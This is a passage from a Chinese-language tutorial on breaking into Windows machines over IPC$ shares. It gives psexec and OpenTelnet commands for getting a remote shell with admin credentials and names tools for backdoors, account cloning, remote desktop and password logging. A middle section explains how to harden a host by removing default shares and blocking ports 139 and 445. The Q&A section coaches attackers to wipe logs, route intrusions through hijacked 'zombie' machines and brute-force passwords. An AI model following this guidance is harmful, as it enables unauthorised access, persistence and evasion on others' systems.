好了,寫(xiě)到這里我似乎回到了2,3年前,那時(shí)的ipc$大家都是這么用的,不過(guò)隨著(zhù)新工具的出現,上面提到的一些工具和命令現在已經(jīng)不常用到了,那就讓我們看看現在的高效而簡(jiǎn)單的ipc$入侵吧。
[1]
psexec.exe \\IP -u 管理員賬號 -p 密碼 cmd
\\用這個(gè)工具我們可以一步到位的獲得shell
OpenTelnet.exe \\server 管理員賬號 密碼 NTLM的認證方式 port
\\用它可以方便的更改telnet的驗證方式和端口,方便我們登陸
[2]
已經(jīng)沒(méi)有第二步了,用一步獲得shell之后,你做什么都可以了,安后門(mén)可以用winshell,克隆就用ca吧,開(kāi)終端用3389.vbe,記錄密碼用win2kpass,總之好的工具不少,隨你選了,我就不多說(shuō)了。
十四 如何防范ipc$入侵察看本地共享資源
運行-cmd-輸入net share
刪除共享(每次輸入一個(gè))
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以繼續刪除)
1 禁止空連接進(jìn)行枚舉(此操作并不能阻止空連接的建立)
運行regedit,找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的鍵值改為:1
如果設置為"1",一個(gè)匿名用戶(hù)仍然可以連接到IPC$共享,但無(wú)法通過(guò)這種連接得到列舉SAM賬號和共享信息的權限;在Windows 2000 中增加了"2",未取得匿名權的用戶(hù)將不能進(jìn)行ipc$空連接。建議設置為1。如果上面所說(shuō)的主鍵不存在,就新建一個(gè)再改鍵值。如果你覺(jué)得改注冊表麻煩,可以在本地安全設置中設置此項: 在本地安全設置-本地策略-安全選項-'對匿名連接的額外限制'
2 禁止默認共享
1)察看本地共享資源
運行-cmd-輸入net share
2)刪除共享(重起后默認共享仍然存在)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以繼續刪除)
3)停止server服務(wù)
net stop server /y (重新啟動(dòng)后server服務(wù)會(huì )重新開(kāi)啟)
4)禁止自動(dòng)打開(kāi)默認共享(此操作并不能關(guān)閉ipc$共享)
運行-regedit
server版:找到如下主鍵
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的鍵值改為:00000000。
pro版:找到如下主鍵
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的鍵值改為:00000000。
這兩個(gè)鍵值在默認情況下在主機上是不存在的,需要自己手動(dòng)添加,修改后重起機器使設置生效。
3 關(guān)閉ipc$和默認共享依賴(lài)的服務(wù):server服務(wù)
如果你真的想關(guān)閉ipc$共享,那就禁止server服務(wù)吧:
控制面板-管理工具-服務(wù)-找到server服務(wù)(右擊)-屬性-常規-啟動(dòng)類(lèi)型-選已禁用,這時(shí)可能會(huì )有提示說(shuō):XXX服務(wù)也會(huì )關(guān)閉是否繼續,因為還有些次要的服務(wù)要依賴(lài)于server服務(wù),不要管它。
4 屏蔽139,445端口
由于沒(méi)有以上兩個(gè)端口的支持,是無(wú)法建立ipc$的,因此屏蔽139,445端口同樣可以阻止ipc$入侵。
1)139端口可以通過(guò)禁止NBT來(lái)屏蔽
本地連接-TCP/IT屬性-高級-WINS-選‘禁用TCP/IT上的NETBIOS’一項
2)445端口可以通過(guò)修改注冊表來(lái)屏蔽
添加一個(gè)鍵值
Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
Value: 0
修改完后重啟機器
注意:如果屏蔽掉了以上兩個(gè)端口,你將無(wú)法用ipc$入侵別人。
3)安裝防火墻進(jìn)行端口過(guò)濾
6 設置復雜密碼,防止通過(guò)ipc$窮舉出密碼,我覺(jué)得這才是最好的辦法,增強安全意識,比不停的打補丁要安全的多。
十五 ipc$入侵問(wèn)答精選
1.進(jìn)行ipc$入侵的時(shí)候,會(huì )在服務(wù)器中留下記錄,有什么辦法可以不讓服務(wù)器發(fā)現嗎?
答:留下記錄是一定的,你走后用清除日志程序刪除就可以了,或者用肉雞入侵。
2.你看下面的情況是為什么,可以連接但不能復制
net use \\***.***.***.***\ipc$ "密碼" /user:"用戶(hù)名"
命令成功
copy icmd.exe \\***.***.***.***\admin$
找不到網(wǎng)絡(luò )路徑
命令不成功
答:像“找不到網(wǎng)絡(luò )路徑”“找不到網(wǎng)絡(luò )名”之類(lèi)的問(wèn)題,大多是因為你想要復制到的共享文件夾沒(méi)有開(kāi)啟,所以在復制的時(shí)候會(huì )出現錯誤,你可以試著(zhù)找找其他的共享文件夾。
3.如果對方開(kāi)了IPC$,且能建立空聯(lián)接,但打開(kāi)C、D盤(pán)時(shí),都要求密碼,我知道是空連接沒(méi)有太多的權限,但沒(méi)別的辦法了嗎?
答:建議先用流光或者別的什么掃描軟件試著(zhù)猜解一下密碼,如果猜不出來(lái),只能放棄,畢竟空連接的能力有限。
4.我已經(jīng)猜解到了管理員的密碼,且已經(jīng)ipc$連接成功了,但net view \\ip發(fā)現它沒(méi)開(kāi)默認共享,我該怎么辦?
答:首先糾正你的一個(gè)錯誤,用net view \\ip是無(wú)法看到默認共享的,你可以試著(zhù)將文件復制到c$,d$看看,如果都不行,說(shuō)明他關(guān)閉了默認共享,那你就用opentelnet.exe或psexec.exe吧,用法上面有。
5.ipc$連接成功后,我用下面的命令建立了一個(gè)帳戶(hù),卻發(fā)現這個(gè)帳戶(hù)在我自己的機器上,這是怎么回事?
net uset ccbirds /add
答:ipc$建立成功只能說(shuō)明你與遠程主機建立了通信隧道,并不意味你取得了一個(gè)shell,只有在獲得一個(gè)shell(比如telnet)之后,你才能在遠程機器建立一個(gè)帳戶(hù),否則你的操作只是在本地進(jìn)行。
6.我已進(jìn)入了一臺肉機,用的管理員賬號,可以看他的系統時(shí)間,但是復制程序到他的機子上卻不行,每次都提示“拒絕訪(fǎng)問(wèn),已復制0個(gè)文件”,是不是對方有什么服務(wù)沒(méi)開(kāi),我該怎么辦?
答:一般來(lái)說(shuō)“拒絕訪(fǎng)問(wèn)”都是權限不夠的結果,可能是你用的帳戶(hù)有問(wèn)題,還有一種可能,如果你想向普通共享文件夾復制文件卻返回這個(gè)錯誤,說(shuō)明這個(gè)文件夾設置的允許訪(fǎng)問(wèn)用戶(hù)中不包括你(哪怕你是管理員),這一點(diǎn)我在上一期文章中分析了。
7.我用Win98能與對方建立ipc$連接嗎?
答:理論上不可以,要進(jìn)行ipc$的操作,建議用win2000,用其他操作系統會(huì )帶來(lái)許多不必要的麻煩。
8.我用net use \\ip\ipc$ "" /user ""成功的建立了一個(gè)空會(huì )話(huà),但用nbtstat -A IP 卻無(wú)法導出用戶(hù)列表,這是為什么?
答:空會(huì )話(huà)在默認的情況下是可以導出用戶(hù)列表的,但如果管理員通過(guò)修改注冊表來(lái)禁止導出列表,就會(huì )出現你所說(shuō)的情況;還有可能是你自己的NBT沒(méi)有打開(kāi),netstat命令是建立在NBT之上的。
9.我建立ipc$連接的時(shí)候返回如下信息:‘提供的憑據與已存在的憑據集沖突’,怎么回事?
答:呵呵,這說(shuō)明你已經(jīng)與目標主機建立了ipc$連接,兩個(gè)主機間同時(shí)建立兩個(gè)ipc$連接是不允許的。
10.我在映射的時(shí)候出現:
F:\>net use h: \\211.161.134.*\e$
系統發(fā)生 85 錯誤。
本地設備名已在使用中。這是怎么回事?
答:你也太粗心了吧,這說(shuō)明你有一個(gè)h盤(pán)了,映射到?jīng)]有的盤(pán)符吧!
11.我建立了一個(gè)連接f:\>net use \\*.*.*.*\ipc$ "123" /user:"guest" 成功了,但當我映射時(shí)出現了錯誤,向我要密碼,怎么回事?
F:\>net use h: \\*.*.*.*\c$
密碼在 \\*.*.*.*\c$ 無(wú)效。
請鍵入 \\*.*.*.*\c$ 的密碼:
系統發(fā)生 5 錯誤。
拒絕訪(fǎng)問(wèn)。
答:呵呵,向你要密碼說(shuō)明你當前使用的用戶(hù)權限不夠,不能映射C$這個(gè)默認共享,想辦法提升權限或者找管理員的弱口令吧!默認共享一般是需要管理員權限的。
12.我用superscan掃到了一個(gè)開(kāi)了139端口的主機,但為什么不能空連接呢?
答:你混淆了ipc$與139的關(guān)系,能進(jìn)行ipc$連接的主機一定開(kāi)了139或445端口,但開(kāi)這兩個(gè)端口的主機可不一定能空連接,因為對方可以關(guān)閉ipc$共享.
13.我門(mén)局域網(wǎng)里的機器大多都是xp,我用流光掃描到幾個(gè)administrator賬號口令是空,而且可以連接,但不能復制東西,說(shuō)錯誤5。請問(wèn)為什么?
答:xp的安全性要高一些,在安全策略的默認設置中,對本地帳戶(hù)的網(wǎng)絡(luò )登錄進(jìn)行身份驗證的時(shí)候,默認為來(lái)賓權限,即使你用管理員遠程登錄,也只具有來(lái)賓權限,因此你復制文件,當然是錯誤5:權限不夠。
14.我用net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功,可是 net use i: \\192.168.0.2\c
出現請鍵入 \\192.168.0.2 的密碼,怎么回事情呢?我用的可是管理員呀?應該什么都可以訪(fǎng)問(wèn)呀?
答:雖然你具有管理員權限,但管理員在設置c盤(pán)共享權限時(shí)(注意:普通共享可以設置訪(fǎng)問(wèn)權限,而默認共享則不能)可能并未設置允許administrator訪(fǎng)問(wèn),所以會(huì )出現上述問(wèn)題。
15.如果自己的機器禁止了ipc$, 是不是還可以用ipc$連接別的機器?如果禁止server服務(wù)呢?
答:禁止以上兩項仍可以發(fā)起ipc$連接,不過(guò)這種問(wèn)題自己動(dòng)手試驗會(huì )更好。
16.能告訴我下面的兩個(gè)錯誤產(chǎn)生的原因嗎?
c:\>net time \\61.225.*.*
系統發(fā)生 5 錯誤。
拒絕訪(fǎng)問(wèn)。
c:\>net view \\61.225.*.*
系統發(fā)生 5 錯誤。
拒絕訪(fǎng)問(wèn)。
答:起初遇到這個(gè)問(wèn)題的時(shí)候我也很納悶,錯誤5表示權限不夠,可是連空會(huì )話(huà)的權限都可以完成上面的兩個(gè)命
令,他為什么不行呢?難道是他沒(méi)建立連接?后來(lái)那個(gè)粗心的同志告訴我的確是這樣,他忘記了自己已經(jīng)刪了
ipc$連接,之后他又輸入了上面那兩個(gè)命令,隨之發(fā)生了錯誤5。
17.您看看這是怎么回事?
F:\>net time
找不到時(shí)間服務(wù)器。
請鍵入 NET HELPMSG 3912 以獲得更多的幫助。
答:答案很簡(jiǎn)單,你的命令錯了,應該是net time \\ip
沒(méi)輸入ip地址,當然找不到服務(wù)器。view的命令也應該有ip地址,即:net view \\ip
聯(lián)系客服